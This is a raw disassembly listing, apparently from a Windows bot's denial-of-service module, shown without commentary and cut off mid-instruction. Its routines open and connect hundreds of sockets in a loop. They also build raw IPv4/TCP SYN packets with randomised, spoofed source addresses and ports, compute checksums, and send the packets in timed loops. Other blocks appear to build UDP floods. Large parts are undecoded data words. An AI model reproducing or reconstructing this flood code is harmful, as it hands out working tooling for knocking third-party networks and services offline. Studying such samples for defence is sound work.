0E8500043h, 805Eh, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h, 5959FFFFh dd 0C832E856h, 5F90022Dh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414251 proc near ; CODE XREF: ___:0041433Ap var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB9D4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41430F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_41429C: ; CODE XREF: sub_414251+B9j lea esi, [ebp+var_654] mov ebx, edi loc_4142A4: ; CODE XREF: sub_414251+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4142C7 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_4142C7: ; CODE XREF: sub_414251+64j add esi, 4 dec ebx jnz short loc_4142A4 lea esi, [ebp+var_654] mov ebx, edi loc_4142D5: ; CODE XREF: sub_414251+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_4142D5 push 64h nop call near ptr 2680EF8h lea esi, [ebp+var_654] mov ebx, edi loc_4142F9: ; CODE XREF: sub_414251+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_4142F9 dec [ebp+arg_4] jnz short loc_41429C pop edi pop esi pop ebx loc_41430F: ; CODE XREF: sub_414251+3Ej xor eax, eax leave retn sub_414251 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov edi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov esi, eax push esi push ebx push edi call sub_414251 add esp, 18h test eax, eax jnz short loc_414349 push 1 pop eax loc_414349: ; CODE XREF: ___:00414344j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414358 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+636Bo dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF72EAh, 0E8565959h, 22DC68Ch db 90h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F7 proc near ; CODE XREF: ___:004146E5p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_414437 xor eax, eax jmp loc_4146A5 ; --------------------------------------------------------------------------- loc_414437: ; CODE XREF: sub_4143F7+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41469D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_414693 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB9D4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB9D4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB9D4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27B0379h lea eax, [ebp+var_8] push eax call near ptr 27B011Ch nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DB20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414522: ; CODE XREF: sub_4143F7+25Dj ; sub_4143F7+26Bj mov [ebp+var_24], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_34], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_414667 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27B011Ch mov eax, [ebp+var_4] cmp eax, esi jg short loc_414690 jl loc_414522 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414690 jmp loc_414522 ; --------------------------------------------------------------------------- loc_414667: ; CODE XREF: sub_4143F7+247j call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_437AEC push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_414693 ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: sub_4143F7+25Bj ; sub_4143F7+269j mov ebx, [ebp+arg_8] loc_414693: ; CODE XREF: sub_4143F7+78j ; sub_4143F7+297j push [ebp+var_C] call dword_4CBA6C pop esi loc_41469D: ; CODE XREF: sub_4143F7+5Bj call dword_4CB92C mov eax, ebx loc_4146A5: ; CODE XREF: sub_4143F7+3Bj pop edi pop ebx leave retn sub_4143F7 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143F7 add esp, 1Ch test eax, eax jnz short loc_4146F4 push 1 pop eax loc_4146F4: ; CODE XREF: ___:004146EFj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_414703 db 55h ; DATA XREF: sub_401ACD+6D3Do dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3BE8F075h, 59FFFF6Fh, 0DDE85659h, 90022DC2h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h dd 4270B0h, 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 79A6h, 0E0458966h, 799DE8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_4149C1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5306o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270B0h dd 0E850D7FFh, 78ACh, 0FF6859h, 36A0000h, 15FF026Ah, 4CBA54h dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch, 0FFFBC085h dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h dd 535959FFh, 0BFF6E890h, 4D8D022Dh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 0D7E8FFFFh, 59FFFF6Bh, 79E85359h, 90022DBFh, 0FDC4858Dh dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh dd 9E85359h, 90022DBFh, 458D106Ah, 0E85053BCh, 73ECh, 660CC483h dd 2BC45C7h, 15FF5300h, 4CB9D4h, 0BE458966h, 0FDC4858Dh dd 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h, 0D04589D7h dd 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h, 0FFFFFF4Ch dd 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh, 9D39004Ch dd 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h, 80DC45C6h dd 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h, 8E6C1F0h dd 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h, 8E6C1F0h dd 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh, 0FFFDC0B5h dd 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch, 0C0458BE0h dd 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h, 401B999h dd 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh, 66004CB9h dd 0E8EA4589h, 7656h, 401B999h, 0F9F70000h, 0D415FF52h dd 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh, 4589004Ch dd 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h, 85590000h dd 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch, 68FFFFFEh dd 42AEE8h, 7622E850h, 85590000h, 97459C0h, 0C6F05D89h dd 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h, 7602E850h dd 85590000h, 257459C0h, 75D9E8h, 99036A00h, 89F9F759h dd 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h, 0EE280D2h dd 5588D102h, 20068F5h, 45C60000h, 15FF50F4h, 4CB9D4h dd 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h, 66FA5D89h dd 89F85D89h, 5D88A045h, 0A545C6A4h, 0D415FF06h, 66004CB9h dd 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh, 7FCBE8h dd 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh dd 200h, 753AE850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0DE85359h dd 90022DBCh, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh dd 0E8535959h, 22DBB7Ch db 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_414F31 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414F23: ; CODE XREF: ___:00414F2Bj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414F23 pop edi cmp eax, 1 loc_414F31: ; CODE XREF: ___:00414F17j jnz short loc_414F3E mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_414F3E: ; CODE XREF: ___:loc_414F31j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_414F57 db 55h ; DATA XREF: sub_401ACD+6C68o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 66D0E8F0h, 5959FFFFh, 71E89056h, 55022DBAh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270B0h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0B741E800h, 2B900228h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 6ED0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CB978h, 0FF68h, 0E8016A00h, 3B11h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D90468h dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh, 6068FFFFh dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h, 66000071h dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h dd 7155E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_41525A dw 8B55h ; DATA XREF: sub_401ACD+4B97o dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 437C8Ch, 6FB4E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h, 0C483FFFFh dd 0E8006A14h, 22DB7B0h, 0EC8B5590h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h, 4CBA1415h dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CF1803Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D90468ACh dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h, 7A3D8966h dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6C64E8h, 0FF505900h dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h, 7C6852FBh dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h dd 4CED60h, 0FFF475FFh, 4CBA3815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0B245E8FCh, 2B900228h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6BADh, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch db 0ACh byte_41561D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6283o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 6010E8F0h, 5959FFFFh, 0B1E89056h dd 5F022DB3h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_4156FA push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_4157B6 ; --------------------------------------------------------------------------- loc_4156FA: ; CODE XREF: ___:004156E4j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi call near ptr 71AB155Ah nop push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CB97C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CB9BC test eax, eax jnz short loc_41575E or eax, 0FFFFFFFFh jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_41575E: ; CODE XREF: ___:00415757j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415769 loc_415765: ; CODE XREF: ___:00415789j ; ___:004157ADj mov eax, edi jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_415769: ; CODE XREF: ___:00415763j lea eax, 